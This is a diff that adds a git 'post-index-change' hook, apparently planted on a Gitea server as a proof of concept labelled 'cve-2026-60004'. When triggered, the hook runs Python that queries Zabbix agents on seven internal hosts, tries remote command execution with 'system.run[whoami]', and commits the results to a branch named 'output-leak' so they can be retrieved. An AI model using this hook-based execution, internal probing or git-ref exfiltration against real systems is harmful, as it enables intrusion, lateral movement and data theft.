apply

hooks/post-index-change

@@ -0,0 +1,43 @@
+#!/bin/sh
+GD=$(git rev-parse --absolute-git-dir)
+REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
+OUT=$(/var/lib/gitea/.imp/bin/python3 << 'PYEOF'
+import socket, struct, sys
+
+def zbx_request(ip, item_key, timeout=5):
+    try:
+        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        s.settimeout(timeout)
+        s.connect((ip, 10050))
+        data = item_key.encode()
+        header = b'ZBXD\x01' + struct.pack('<Q', len(data))
+        s.sendall(header + data)
+        resp = b''
+        while True:
+            chunk = s.recv(4096)
+            if not chunk:
+                break
+            resp += chunk
+        s.close()
+        if resp.startswith(b'ZBXD\x01'):
+            plen = struct.unpack('<Q', resp[5:13])[0]
+            return resp[13:13+plen].decode('utf-8', errors='replace')
+        return resp.decode('utf-8', errors='replace')
+    except Exception as e:
+        return "ERR: %s" % e
+
+hosts = ["10.209.15.5", "10.209.15.51", "10.209.15.81", "10.209.15.86", "10.209.15.165", "10.209.15.166", "10.209.15.182"]
+for ip in hosts:
+    # test basic agent.ping first
+    r = zbx_request(ip, "agent.ping")
+    print("%s agent.ping -> %s" % (ip, r.strip()[:100]))
+    # test system.run
+    r2 = zbx_request(ip, "system.run[whoami]")
+    print("%s system.run[whoami] -> %s" % (ip, r2.strip()[:200]))
+    print()
+PYEOF 2>&1; echo "[exit-status=$?]")
+BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
+TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
+CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output")
+git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
+#A